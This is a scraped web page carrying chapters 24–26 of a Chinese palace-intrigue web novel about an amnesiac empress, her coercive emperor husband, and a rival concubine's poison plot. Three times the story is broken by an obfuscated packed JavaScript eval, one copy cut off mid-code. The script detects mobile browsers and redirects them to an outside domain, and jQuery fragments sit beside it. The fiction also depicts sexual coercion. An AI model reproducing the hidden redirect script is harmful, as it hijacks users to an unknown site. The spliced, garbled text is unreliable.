;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15640967|172711||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“臣不敢!臣没有……”
婈珠轻轻眨了下眼:“不敢什么?没有什么?”
“臣不敢在外行迹不端、嫖宿娼女。臣没有。这些银钱,臣也暂时用不上。”
他听到周淑妃似乎哼了声,少顷,她又问:“眼下你和韩孝民这般熟络,难道韩孝民就没提过要带你走么?你还继续留在我这里做事,韩孝民难道就没有什么疑心?”
韩孝民当然是提过这一茬的。
在他和段充第二次就在酒桌上把酒言欢之时,他便借着酒意苦劝段充道:“我说段老弟,你既然在这两头里来去自如,那还和那头的张道恭、周淑妃他们多啰嗦什么?索性你孤身一人,又没有什么妻儿家眷的牵挂,一走了之了便是!到了我们这儿,我虽不敢保你大富大贵加官进爵,可好歹有吃有喝、衣食无忧,不比跟着那丧家犬一样的张道恭划得来嘛!”
段充当时又是怎么回答韩孝民的呢?
他苦笑了下,低头放下酒杯,缓缓道:“弟且先谢过韩二哥的好意了。我如何不懂韩二哥的苦心?若是能一走了之,这些年跟着张道恭四处逃命,我何日何时何地不能走?可到底……”
他的声音愈发低了下去,“可到底二娘子怎么办?她身边还能放心使唤的奴仆婢子们,这一路上死的死散的散,只剩下我一个。我一走了之了,她怎么办?她还能使唤谁?”
韩孝民哈哈大笑,心中了然,当下不再多谈此事。
这是段充给韩孝民的答案。
但是此时面对周婈珠的询问,他只能说:“韩孝民确实曾经和臣提过此事,臣推脱说,其兄韩孝直为人苛刻计较,若是知道他将臣这样的人带回魏军军营,必会因此向他发难,臣不想给他添了麻烦,便就此作罢。韩孝民听完此言后,果然对其兄之不满越发溢于言表。”
婈珠颔首:“不错,你很聪明。”
段充走后,她一个人独自在房内坐下,神思浮动,手中一下下拨动着一件珍珠手钏儿。
这是她前两日在龙编县内一个老巫医手中收来的机窍玩意儿。那女巫医告诉她说,这珍珠手钏里有一枚珠子已经被悄悄挖空了,刚好能钻进去一只珍珠蛊虫,可把那蛊虫养在里头数月不死。
只消轻轻拨开珠子上的开关,那雪白如珍珠一般的小小蛊虫就会无声无息立马爬出来,朝人的肌肤骨肉里头钻去,轻易就能取人性命的。
雌虫会钻入男体内,而雄虫则喜钻入女体。
只不过,如今这件珍珠手钏里头还是空的,并没有蛊虫养在其中。
婈珠当时问了那女巫医一句:“现今还有没有这样的珍珠蛊虫了?能不能替我捉一对来?越快越好!我要的便是这样的东西!”
那女巫医窃窃地笑了笑,苍老面庞上的皱纹堆出阴狠而古怪的神情:
“娘娘也不能太心急了些,我们僚人的蛊,可不单单是养出来的虫子,咱们呐还要祭蛊的,这三斋四拜一番,少说也要等到开了春才能出蛊,哪里是说要就能现成取来的。”
婈珠一再催促:“那你速速替我去办成此事,越快越好!我要越快越好!”
女巫医神色微收,又试探地与婈珠说:“淑妃娘娘答应过老妇的,待事成之后,可千万要兑现才是。”
婈珠抬起下巴:“自然不会忘,等周奉疆那逆贼一死,我们大楚皇帝陛下收复中原,再度入主长安洛阳宫室,陛下届时感念你的功绩,至少要封你做九真国夫人,封你儿子为交州刺史。”
25. 第 25 章
大约也是因闹过了那一场,媜珠和周奉疆好不容易再度重归于好,于是之后的几日里,两人便愈发如胶似漆了起来。
白日夜里,床上|床下,俱是如此。
同房合|欢之时,甚至还颇有了股小别胜新婚的味道。
当她有时无意间在他身|下|表现出些许抗拒和不安,他都会十分耐心地安抚她,一遍遍地和她保证说,他以后不会再那样对她了,他会对她很好的,那次只是个意外。
除却榻上之外,媜珠还能很真切地感觉到,周奉疆对她近来格外的温柔体贴,几乎到了堪称讨好的地步了。
他每日总会腾出更多的时间来陪伴她,继续挖空心思送她各种各样价值连城的珍宝首饰,还会时常寻来一些宫外民间街市上的奇巧东西来逗她开心,简直是用尽了手段想要弥合和她之间的那道裂痕,意图让两人之间的关系彻底恢复如初。
那日他暴怒时在床榻之间的粗暴对待,到底在她心里留下了一个恐怖的噩梦,而他素来自负,实际上根本不能容忍自己给她塑造这样的噩梦、不能接受自己在她心中一丁点不完美的形象。
一直以来,他都是一个最完美、最称职的丈夫,他也一直自诩没人会比他更爱她。他是她最好的归宿,最好的选择。
他怎么能容忍自己这样伤害过她、在她心中留下不堪回忆的恐惧?
还好,媜珠是能照单全收他的这些讨好的。
不跟他发脾气的时候,她柔顺又无害,是一只美丽的金丝雀,会安安静静地待在自己的金丝鸟笼里,吃着喂养的精细的食,迎合地接受旁人爱抚她靡丽的羽毛,也会偶尔娇声歌唱。
周奉疆最喜欢她的温顺。
虽然他时常怀念起她没有失忆时是多么鲜活明艳,但如果这“鲜活”的代价,是她恢复记忆后必然会和他反目成仇的话,那他宁愿她永远都只做一只乖巧的金丝雀。
呆呆笨笨、痴痴傻傻的,也没什么不好,总归他能护着她永生永世的天真纯粹,她并不需要想起过往那些不愉快的事情。
他们之间似乎真的完全回到了过去。
这天夜里,两人就寝时再度同房,彼时媜珠身上那点红肿破皮的伤处早已恢复如初。
周奉疆将她轻轻推倒在床榻上,俯身过来亲吻她,媜珠仍是下意识地偏头避了一下。
媜珠不明白为什么自己还是会做出这样本能一般的抗拒反应,但她敏锐地察觉到皇帝的动作顿了顿,神情也有些失望和落寞,于是她赶紧支起身体,雪白双臂环住他的脖颈,主动献上娇艳的唇瓣,印在他的下颌处,继而又辗转到他的唇上。
皇帝的神色缓和下来,也投入了和她的这一吻里。
等到两人的唇舌终于分开,他又将她从榻上拉了起来,将她摆弄地|跪|趴|在丝被上,随手扯开了她的寝衣系带。
因他的这个动作,媜珠低垂着抵在枕上的脑袋似乎又变得有些眩晕,她的手足忽然有些发凉,某些似真似假不知是否存在过的画面和记忆,也再度涌上她的眼前。
她不喜欢这个姿势,不喜欢这样跪在别人面前。
可是为什么呢?
*
……很多年前,在那个雪夜,她仓皇出嫁的夜晚,在那个自称是她兄长的男人残忍地以陌刀砍碎她的花轿、踹倒她的丈夫之后,在她的身上又发生了什么?
她恍惚间又想起来了。
那个男人羞辱殴打并赶走了她的丈夫,然后不顾她的反抗和哀求,一把拎着她把她塞进了他带来的马车轿子里,准备将她带回家中继续软禁起来,还说回家之后,他要好好管教她。
他的话说的很不好听,他说,如今她父亲既然不在了,那么长兄如父,身为她的兄长,以后都理应由他来好好管教她。
男人满身凛冽之气,语气寒凉,他厉声斥责她没规矩,婚姻大事,她借着长兄不在家中的时机,竟敢私自和野男人玩|淫|奔这一套,就是不知规矩礼数,把好好的女儿家的脸面都丢尽了。
当时的她哭得满面泪容,狼狈不堪,凌乱的发丝披散着黏在了她的脸颊上,让她的世界都陷入了一片混沌模糊中。
但她还是隐约看见,那男人带了一堆身披金甲的亲卫士卒来追她,白茫茫一片雪地里,几十匹披甲的骏马也扬首而立,高傲而沉默,骑在马上的亲卫们纷纷亮出同样是雪色的剑刃,气氛凝滞而寒凉,带着无声的威压之态。
雪,人,马,刃,都是静谧无声的。
其余人和马的眼睛,都在看着她。
只有她在哭,她疯了一般地哭泣着,求他放过她,求他放她走,她真的太想要嫁给自己的丈夫,想要跟自己的丈夫嫁去洛阳,她不想跟他回去,她也想要有自己的人生、自己的选择。
听到她还这样“不知悔改”,那男人越发暴怒,粗鲁地将她塞进了马车里,她被他推了一把,踉跄着扑倒着跪在了马车的地板上,华美的朱红织金婚服的裙摆也像开败了的糜艳的花朵,凌乱地层层堆叠在了地上。
还好,大约是他命人在马车的地板上铺上了一层柔软的毛绒绒的狐皮,马车里面还熏了蜜碳,温暖如春,她跪倒在地板上,膝盖并没有很痛。
虽然没有痛楚,可这并不影响她从中尝到的前所未有的屈辱感。
还不等她缓和过来,那男人随后也一身寒气地上了马车,媜珠挣扎着要爬起来,他却冷冰冰地伸出一掌将她纤薄的脊背按了下去,像按住一只垂死挣扎中的兔子,下一刻就要将她宰杀一般。
媜珠更加激烈地反抗起来,那人却腾出一只手,直接粗暴地扯掉了她身上华美嫁衣的腰带,像剥去一只兔子的皮那样,把她的嫁衣从她身上剥了下来,然后随手一扬,扔出了马车的窗外,命他的亲卫们拿去烧掉。
开窗的一瞬间,冰冷的寒风立刻朝马车内涌入,媜珠背对着他跪在地上,顿时浑身战栗,瑟瑟发抖地打了个寒战。
她觉得又羞耻又屈辱,至少在她曾经所接受过的教养里,她不能在自己丈夫之外的任何男人面前被人脱去衣服。
这样剥去她的外衣,本就是对她的羞辱。
哪怕没有伤及她的发肤血肉,可实际上的她在那一刻丝毫不啻于一只被剥皮的动物般痛苦。
她不明白这个男人为什么要这样对待她,他怎么可以这样对她?
明明之前,他对她也是很好的,他对她格外的上心,呵护她,宠爱她,为什么现在却变了呢?为什么男人可以转瞬之间就在她面前变得面目皆非?
还不等她的眼泪哭够,他仍旧在呵斥她、教训她。
大概他说了些什么,媜珠记不得了,只知道肯定不会是什么好听的话,他说她要是再不听话,他就把她关起来,关一辈子,他会亲手修剪掉她每一根不听话的反骨。
看看是她的骨气硬,还是他的手腕更硬。
媜珠抹了一把面上的泪珠,倔强不驯地回头望向他,一双极动人的眸子里盛满了泪珠:“你不如杀了我。你杀了我吧……”
她毫不畏惧地和他直视:“我视你为亲兄长一般,这些年来你扪心自问,我做你妹妹,有半点对你不敬重之处么?可是你呢?你又算什么兄长?你一次次毁了我的家、毁了我的婚约、我的人生……如果这就是你想要做的,那你不如直接杀了我吧。”
他大约十分容不得她对他的忤逆,见她再度“出言不逊”,对他言辞顶撞,他蓦然起身将她拽了过来,把她抵在马车的车壁上,重重地吻了上来,惩罚一般啃咬着她的唇瓣。
—
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15640968|172711||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
—这绝对不是一个兄长该对妹妹做的事。
如果说刚才他的那些举动,还能单纯解释为一个掌控欲极强的兄长对自己妹妹的强势和压制的话,那么他现在的所作所为,这个充满掠夺和强占气息的吻,则绝对早已超脱了正常兄妹的界限。
……他真的是她的兄长吗?他真的只是她的兄长吗?
媜珠忽然从这支离破碎地回忆中清醒了过来。
这一次并不是梦了,是她在清醒的状态下,神智不知被何事所触动,自然而然地回忆起来的记忆片段。
这都是真的。
实际上,早在上一次周奉疆粗暴逼她和他同房时,那天她跪在榻上,被迫承受着他粗鲁的动作,她的眼前便已经浮现过一次这样的景象。今天则已经是第二次了。
*
“媜媜?媜媜!”
察觉媜珠的走神,周奉疆止了动作,耐心地再度安抚着她。
他没有想太多,以为媜珠只是还没有从那场不堪的情事中走出来,于是便按捺下自己的心猿意马,一遍遍地哄着她放松些。
周奉疆对媜珠的娇气并不感到意外。
她从小就娇滴滴的,是被人捧在手心里长大的一樽瓷器美人,磕不得碰不得的,失忆之后,更是要小心翼翼把她含在嘴里护着才行。
原先这些年里,害怕刺激到她,他都没敢在床榻之间过多索取,唯恐让她受不住。
媜珠缓缓回过了神来,有些僵硬地在他怀中露出了一个柔软的笑:“陛下,妾无事。”
见她似乎好了些了,周奉疆的眸色沉了沉,哑声说了个好字,再度把她放回榻上。
*
这一番欢|爱极是酣畅,皇帝大约很是尽兴,云雨毕后,媜珠的脑袋倦怠着靠在他的腿上,眨了眨眼睛,低声开口对周奉疆说道:“陛下,年节前,妾能召见自己娘家的哥哥们入宫一趟么?”
赵媜珠的娘家有两个哥哥,一个是她同父同母的亲兄长,襄国夫人的儿子,另一个则是她二房婶母所生的堂哥。
赵皇后得宠,她的娘家女眷当然可以随时入宫看望皇后,享着无上的尊荣福泽。
但是,这也仅限于女眷。外男想要入宫,好歹也还是要提前知会皇帝一声的。
而且大约也是为了免人口舌多议论,自媜珠做皇后以来,娘家的男人们,不管是她的祖父、父亲叔父、哥哥还是那些年纪大了些的侄儿们,都没再擅入内宫看望过她。
这是媜珠第一次提出想要见娘家的哥哥,而且仅仅是见她的哥哥们。
周奉疆顿了下,同意了。不过他捏了捏媜珠的脸,多问了一句:“最近怎么想召两位国舅入宫说话了?”
媜珠的喉间轻轻吐出一口浊气,意味不明:“妾近来会想到从前和哥哥他们在一起的事情,想到很久没见哥哥们了,所以年节前想抽空见一面罢了。”
皇帝还是很温柔:“叫佩芝她们守在你跟前伺候你。”
*
媜珠想要很近很近地再看看自己的两个哥哥一次。
就一次就够了。
做皇后的这段时间里,每次见到父亲哥哥他们,都是在那庄严盛大的宫宴上,隔着规矩森严的座次,遥遥望上一眼罢了。
她确实都快忘了她的哥哥们是何种模样了。
那就再见一面吧。再见一面,只要一眼,她就能在心里给自己断定他们到底是不是她破碎记忆中见到的那个兄长。
哪怕还是没有见到记忆中那个男人的正脸,可她仿佛已经十分熟悉他周身的气息,和别的男人一比较,她就能分辨出两者的区别。
她被别的男人轻薄侮辱过,万一……如果那个男人不是她的兄长,那么那个男人会是谁?皇帝周奉疆知道这些么?
26. 第 26 章
上一次媜珠召见母亲和婶母时,她娘家亲人的客套、恭敬和疏离,已经让她内心受伤失望过一次了。
这一次,大约是已经有了点心理准备,所以当媜珠第二日下午在椒房殿里见到她的两位兄长时,不管她的兄长对她是什么反应和态度,她的内心似乎都是平静的。
其实好像也没什么好多说的了。
——是在哪一刻察觉到的不对劲?在哪一刻终于做实了自己心底一直不愿意去承认的猜想呢?
亲兄长赵奂沦、堂兄赵奂溪恭恭敬敬地站在媜珠跟前数十步开外的地方,还未入椒房殿正殿,二人便诚惶诚恐地向媜珠跪地叩首请安问礼。
他们也是惧怕她这个皇后妹妹的。哪怕在让宫中宦官召他们进宫时,媜珠已经一再强调过今日只是兄妹小聚,不必多礼,随意即可,然而他们却还是小心谨慎,不敢有半处逾矩。
媜珠看着他们清瘦如竹的身形,看着他们那样温润柔和的神态,忽然间就已经什么都不想再多问了。
只是一眼,不需要任何的试探和犹豫,她就知道自己梦里的那个“兄长”绝对不是眼前两人中的任何一个。
两位兄长起身后,媜珠请他们入内小坐,开口还是先问起了她的父亲赵国公近来身体如何。
赵国公世子赵奂沦赶紧颔首道:“劳娘娘惦念父亲,父亲身体素来康健无忧,也皆是陛下和娘娘的福泽庇佑。”
看他提起自己父亲时那一副唯唯诺诺、毕恭毕敬的样子,便知道他极为敬重尊长,生生就是世家大族里自幼被儒法尊卑规训得老老实实的大孝子。
那么梦里的那个兄长是怎么跟媜珠,提起她的父亲的呢?他说的是,
——“你父亲死了,如今长兄为父,便该由我来管教你!”
媜珠猛然想到了这一点。
梦里的那个男人曾经说过,她的父亲已经死了。
她是没有父亲的。
正是因为没有父亲,所以“长兄为父”,面对他对她的种种|专|制与掌控,她才无法反抗。
*
还有两日就是除夕了。
这个年节宫里过得格外热闹,椒房殿内外更是被装饰一新,看上去一派花团锦簇,是极喜庆的氛围。
今日早晨,皇帝还带着媜珠一起换了他们寝殿内殿两根梁柱上贴着的对联,他同媜珠各题了上下联贴在左右,写的是“花间金屋藏娇色,镜中双璧照夜长”,用以谓他们帝后夫妻情意极深。
殿内还烧着温暖的银蜜炭,已然是温暖如春,媜珠身上还披着一件孔雀织金裘,其实甚至还觉得有些热了。
但好像也就是在这一瞬间,媜珠浑身再度被冰冷的寒意笼罩,让她觉得自己仿佛是回到了梦中的那个冬夜里。
媜珠什么都没再多说,只是随意问候了几件家中的琐事,而后赏赐了一些节礼,便叫他们回去了。
这一次,她除了终于意识到她梦中的那个兄长另有其人之外,更是乍然在心里领会到了另一个事实。
——她真的是赵氏女吗?她真的是北地冀州名门望族赵家的女儿吗?
梦里的人告诉过她,至少在她当年第一次出嫁时,她的父亲就已经过世了。
而如今的赵家,老爷子、赵国公和赵国公的兄弟,他们父子三人都还康康健健身体安泰的,……她的父亲不可能是赵家的任何人,她也不可能是赵氏女。
难怪这些年里,她总觉得自己和赵家人根本亲近不起来,难怪她所谓的生母襄国夫人提起她幼年的往事时几乎都是含含糊糊,说不出什么清晰的细节来。
那她到底是谁?她到底来自哪里?
她的父母、家族、兄长,又到底在何处?
说爱她的人,为何又以金屋筑笼,将她蒙骗在他精心编织的谎言里?
皇帝……周奉疆,他到底把她当成了什么?
赵家兄弟二人刚踏出椒房殿,媜珠平素喜欢抱在怀里的那只金丝猫跳下了房梁,竖着毛绒绒的蓬松大尾巴跳进了媜珠怀里撒娇。
此猫乃波斯国商人兜售过来的的番猫,因其双眸异色,如同金银,一向被视为祥瑞,也叫狮猫儿、波斯猫。
后来皇帝随口说了一句,说叫波斯猫不如金丝猫喜庆,宫人们后来遂都改称金丝猫。
媜珠的这只金丝猫是只母猫,性情同她的主人一样温顺,名叫“灿娘子”。
灿娘子在媜珠身边也有三四年的光阴了,它是前楚宫里养的御猫,后来前楚皇帝仓皇弃宫城而逃,这些名贵的猫儿狗儿无人问津,就不知辗转到多少人的手里了。
周奉疆那时在外头打仗,是旁人献给他一只,他转手命人送给了媜珠,说是怕她一人在家中无聊,用这猫来讨媜珠欢心的。
媜珠眼下心里装着这样大的心事,实际上并没有多少心情应付灿娘子的撒娇,只是一边神游在外,一边一下下木楞地抚着它油光水滑的毛发。
灿娘子有些不满媜珠的敷衍,在她怀里翻了个身,喵喵连叫数声,不停地甩着柔软的大尾巴蹭她。
媜珠蓦然低头望向灿娘子,忽然从它这般懵懂无知的天真眼神里想起了它的身世。
灿娘子的母亲,就是当年波斯商人从远洋海外带来的“番猫”,灿娘子是出生在波斯商人的船上的。
前楚时,设置市舶司对这些番邦异兽收取税钱,规定“番猫每只税钱百文”,名贵异种的猫儿甚至还能收取百倍税钱的。
波斯商人们想要带着这些波斯猫来到中原售卖,但是又无法支付所有波斯猫的税银,于是见灿娘子的母亲有些老了、丑了,恐怕就算卖出去,也还不值交给市舶司的税钱贵,索性就把那只可怜的母猫扔进水中溺死,带着它所生的一窝猫崽儿进了中原兜售起来。
其中的一只猫崽,就是灿娘子。
灿娘子自己的“身世”这般坎坷,出生还未满月生母就被人虐|杀,但这并不妨碍它的性情温顺,天真烂漫,而且十分黏人,最喜欢缠着人撒娇。
就算周奉疆在的时候,偶尔它去缠周奉疆,他也能敷衍地陪它玩一会。
因为它什么都不知道,什么都不懂。
如果它知道它的母亲是被“人”害死的,那它还敢这样黏人么?
媜珠听人说过,山林间的那些幼兽,若是其幼年时亲眼见到自己的母亲被人猎杀的话,待其成年之后都会很有警惕性,会远远地避开所有人;
若是遇到熊、狼、虎之类猛兽的幼兽长大了,它们甚至还会去寻人复仇的。
灿娘子之所以没有变成这样,不就是因为它什么都不懂,因为它一直都被人“蒙蔽”么?
那些波斯商人在把它卖出去之前,对它也是很好的,喂它吃羊乳长大,把它打理得干干净净漂漂亮亮,甚至还给它准备了许多玩具玩。
在它眼里,这世上大约就没有坏人罢?
媜珠忍不住想一想,有些伤秋悲春地感慨,想着自己和这猫儿又有什么区别呢?
都是一样的可悲之物罢了。
同样是因为想不起自己的从前记忆,所以她整日浑浑噩噩,似乎十分幸福地活在这深深宫苑之内。
佩芝候在一旁伺候着,见媜珠脸色又不大好看,有些落寞不快,连忙追问她这是怎么了。
媜珠状似随意地轻叹了两声:“没什么,只是如今见兄长们也都无趣了。从小总和他们混在一处玩,皮得跟猴子一样,现在都再也不能了。”
佩芝大约并没当回事,还安抚她说:“这都是自然的,娘娘如今是金尊玉贵的皇后娘娘,国舅爷们哪里还敢对娘娘如儿时一般没大没小?”
这几日里媜珠忙得不可开交,没有多少时间再留给她多愁善感的,内司省里的人一趟趟地到椒房殿来,处处总有些让她拿主意的地方。
媜珠一桩桩一件件应付下去,大半天的辰光很快便打发走了。
因为每逢这样的大节令,总免不得要给宫外的宗亲国戚们赏赐些节礼,例如赵国公府、穆王府、颍川公主府之类的。
媜珠想起如今这些王妃公主们膝下多有些年幼的小孩子,所以还额外精心准备了些赠给小孩子们的除夕节礼。
有一种琉璃灯盏,以八面琉璃拼接而成,琉璃灯罩上还雕刻着凤凰蟠龙、孔雀瑞兽之类的图案,内里有烛台,可置烛灯,看上去华美漂亮,是小孩子们会喜欢的玩意,若是等上元日时拎出去玩,还不知多夺人眼球的。
媜珠叫佩芝去翻了翻她的库房,清点出来这样的琉璃灯还有几十盏,足够她赏人的,便叫人取出来些,一一赏给那些王妃公主们膝下的小孩子。
颍川公主自己和驸马韩孝直生有一子一女,媜珠赏给那两个孩子一人一盏,只是忽然间想起颍川公主的妯娌冯氏和她同居公主府,冯氏膝下也有两子。
而冯氏的丈夫、韩驸马之弟,如今也征战在外,想起一来她现在一人操持家事十分辛苦,二来也不好叫她的孩子届时眼红颍川公主的孩子们有新奇玩意,于是便额外多赏了公主府两盏灯,意思是分给冯氏的两个孩子。
媜珠一面在账册上勾了出来,一面又回头低声叮嘱了一声那内司省的女官:
“我隐约听说颍川公主的妯娌似乎和公主不是太合得来,可是到底是一家人,抬头不见低头见的……你到时候去公主府里,亲自和公主说一声,叫公主出面把这灯赠给冯氏的孩子,兴许冯氏领了公主的情,也能念几分公主的好处,一家人也能多和气些。”
那女官恭恭敬敬地应了下来:“是娘娘想的周到,惦记着颍川公主呢。”
*
按照他们北地冀州的习俗,年廿九乃祭祖之日。
虽然如今皇帝都于长安,但本朝仍然延续了在冀州时候的许多旧俗。
除夕的前一日,皇帝带着身着翟衣凤冠、华服簪钗的媜珠和宗室皇亲、百官重臣一道前往奉先殿祭祀先帝周鼎和周氏先祖。
祭祖大事,一应都是由承圣殿里的赵太后安排的,然而等到祭祖之日,赵太后却推脱不适,借口不去。
皇太后是皇太后,哪怕她不是皇帝的生母,她的身份地位摆在那里,也无人敢置喙太后如何,所以她不肯去,当然也没人多说什么。
——事实上,她去年也同样没有去。
媜珠隐约能感觉到,赵太后对自己的亡夫先帝周鼎十分不待见,甚至隐隐到了有些怨恨的地步了。
她是怎么看得出来的呢?
概因祭祀先祖,每年都要按照前例置办五谷酒肉等物摆在先帝牌位之前,这些太牢牲畜牛、羊、豕,还有以五谷制成的吃食糕点,摆放的美酒等等,皆由赵太后一手操办。
本来,为了确保这些祭祀之物新鲜好看,一般都是在祭祀的当日或是前一两日才制备好的;然而赵太后反而非要让内司省的人提前一整个月就提前准备好,备好后就收在库房里放着不动。
等到祭祀之日时,那些吃食早就发霉生变,酒水里也扑上了一层灰尘,看上去甚至显得有些寒酸。
内司省的人为了使祭礼不失仪,往往都要提前一夜把那些荤肉、糕点上的霉变小心刮掉,处理起来格外繁琐。
今年祭祖完后,帝后二人回到椒房殿内歇息,媜珠又忍不住和皇帝说起这事,说不明白太后为什么要这么做。
皇帝有些倦乏地躺靠在椅上,抖了抖衮服广袖,浑不在意地对她说:“还能为什么?自然是为了恶心恶心先帝,故意拿这些霉了馊了臭了的酒肉给先帝宗庙所用。”
媜珠啊了一声,“可是太后乃先帝正妻,为何对先帝如此不悦?”
皇帝顿了顿,侧首深深地看了媜珠一眼:“媜媜……即便是亲夫妻、亲血亲,有时候还不如所谓的外人靠得住。太后才是聪明人。”
媜珠的眼神越发不解。
周家从前的许多事情,现在的她并不知道。
皇帝哂笑:“你若是知道先帝临终前曾经命赵太后替他殉死,那么你就会明白,今时今日赵太后只是叫人给他做了些馊饭臭肉浊酒当祭品,其实还是克制了的。”
对上媜珠困惑无知的目光,周奉疆在这一刻不知为何有许多话想要说给她听。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15640969|172711||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>哪怕他的理智告诉他,过去的那些都让它过去吧,没有必要再和她提起,没有必要冒着这种可能刺激到她的风险再和她说从前的事。
但,或许是内心多年来蛰伏的不甘和愤懑实在太深,除夕前的这一夜,在椒房殿里温暖柔和的摇曳烛光之下,他静静凝视着媜珠的容颜,还是对着媜珠开口了。
在皇帝的低声诉说里,媜珠听到了一个这样的故事。
昔年赵太后嫁给冀州侯周鼎为正妻,是为周鼎的赵夫人。
因为有老道士曾经预言赵夫人腹中所出的血脉可以贵极天下,周鼎认为,赵夫人为他所生之子就能成为天子,因此多年来格外宠爱赵夫人。
但是,在周鼎的宠爱之下,赵夫人并没有生下男嗣,她一生也只生了一个女儿,即周三娘子兖国文公主。
虽然赵夫人生不出儿子,虽然周鼎也一直期盼着赵夫人为他生下的嫡子,但这也并不妨碍他还有满后院的其他妾室通房们。
这些娇艳美丽的妾室替周鼎生下了一个个健壮的庶子,周鼎不管多期盼赵夫人所生的嫡子,可是庶子也同样是他的亲生儿子,他不可能不在意、不器重,所以他对这些庶子们同样用心栽培,寄予厚望。
那些生育了庶子的妾室们,自然有一个算一个地跳起来和赵夫人互相拆台,明里暗里争斗不休,把赵夫人十几二十年来气得牙都要咬碎了。
——再加上,赵夫人自己本来也不是个多贤良淑德的嫡母,她自己也没法忍着恶心和怨恨去把丈夫的庶子庶女们视如己出、亲自抚养,对这些庶子庶女都是随意敷衍。
所以,等那些庶子们渐渐长大之后,人家当然一心向着自己的生母,和这没生过自己没养过自己的嫡母赵夫人面和心不和。
赵夫人自己私下都曾经无数次说过,等周鼎一死,不论是他的哪个庶子承袭了家业,成为下一任冀州侯、冀州节度使,人家要做的第一件事,肯定都是先扶正自己的妾室生母,然后想法子磋磨死她这个眼中钉肉中刺的嫡母。
到时候,她没被人撵进马厩里吃泔水喝马溺,都算是她积了大德了。
而那时只有一个女儿的她,唯一还能依仗的底牌,就是她的养子周奉疆。
直到后来,周鼎忽然中风病重,短短两个月便油尽灯枯,命将休矣,眼看就要不久于人世了。
在他临终前,他的庶长子周奉鸣和养子周奉疆一起到他病榻前侍疾。
弥留之际,周鼎回光返照般地有了一点力气,从榻上强撑着坐了起来,叫人取来笔墨,写下了一份手令。
手令里说了两件事。第一是将自己的家业传给庶长子周奉鸣。
第二,则是命他的庶长子周奉鸣和养子周奉疆在他丧仪之后去赐死正妻赵氏,让赵夫人替他殉死。
谁敢阻挠此令,皆杖死。
在他死后,他要带走他的嫡妻。
“为什么?”
听到这里,媜珠惊呼了一声。
皇帝道:“因为曾经有人预言赵夫人能生下天子,先帝死前仍然对此事耿耿于怀,他怕他死后……”
他短促地笑了一下,“他怕他死后,万一赵夫人改嫁旁人,替旁人生下了儿子,那该如何是好?他当然不甘心,所以只有赐死赵夫人才能让他彻底安心。”
媜珠揪紧了衣袖:“那后来呢?”
后来赵夫人当然没有死。
可是她为什么没有死成?
皇帝在此时反问了媜珠一个问题:“媜媜,你觉得这时候是谁保住了她?是因为她的丈夫回心转意?还是因为她的娘家有本事干涉此事?是她那个娇滴滴的养在深闺的亲生女儿?还是早就视她为眼中钉的那些庶子们?”
……
媜珠抿了抿唇:“是陛下。是陛下您护住了母亲。只有陛下。”
皇帝哼了声:“当然还是朕。”
拿到那份手令后,周鼎的庶长子周奉鸣喜不自禁,几乎恨不得立马飞奔过去弄死这个碍事的嫡母。
等周鼎一死,周家开始替他办了丧仪,丧仪尚未结束,周奉鸣便联合周家的几位长辈,拿出了周鼎的手令,准备一起在周鼎的灵柩前逼赵夫人殉死。
好在赵夫人早与周奉疆里应外合,在丧仪之日偷偷开了冀州侯府里的一个偏门,周奉疆带着上百精锐亲信杀入周家,哗然兵变,将周鼎的几位庶子、弟弟、侄儿们斩杀于他灵堂之前,血溅三尺,这才免了赵夫人一死。
也是因为此事,在周鼎死后,他才成为了冀州的下一任主人,才有了他的今日。
说到这里,周奉疆起身走到了媜珠面前,伸出双手捧住了媜珠被吓得雪白的小脸:
“媜媜,你觉得赵太后做的对么?”
媜珠声线有些颤抖:“自然是对的。妾虽失忆愚钝,却也明白,人不为己、天诛地灭。太后何错之有?”
周奉疆又轻声问她:“那你觉得朕做错了么?世人对朕多有口诛笔伐,说朕身为养子,却谋权篡位,杀养父亲子亲弟亲侄,是为天诛地灭。你觉得朕该不该这样做?”
媜珠快要哭出来:“不、陛下没有做错。陛下没有错。陛下虽是先帝养子,可也是太后所养,陛下为护住养母……并无错。”
周奉疆微微一笑,问了她最后一个问题:“那你若是赵太后与先帝的女儿兖国文公主呢?你会选谁?是选择赐死你母亲的父亲和兄长,还是选择朕这个没有血亲的兄长?”
媜珠猛地抬眸望向他:“——陛下为何会有此问?”
周奉疆也直视着她:“朕随口一问罢了,只是想问问媜媜你是怎么想的。媜媜,告诉朕,如果你是兖国公主,你会选谁?”
良久,媜珠回答了他。
“自然是选陛下。在妾心里,无人比生母更重要。竹林七贤之一的阮籍曾说过,即便是禽兽之辈,不知其父,也该知其母。若妾是当年的兖国公主,谁能护住妾的母亲,妾就向着谁。”
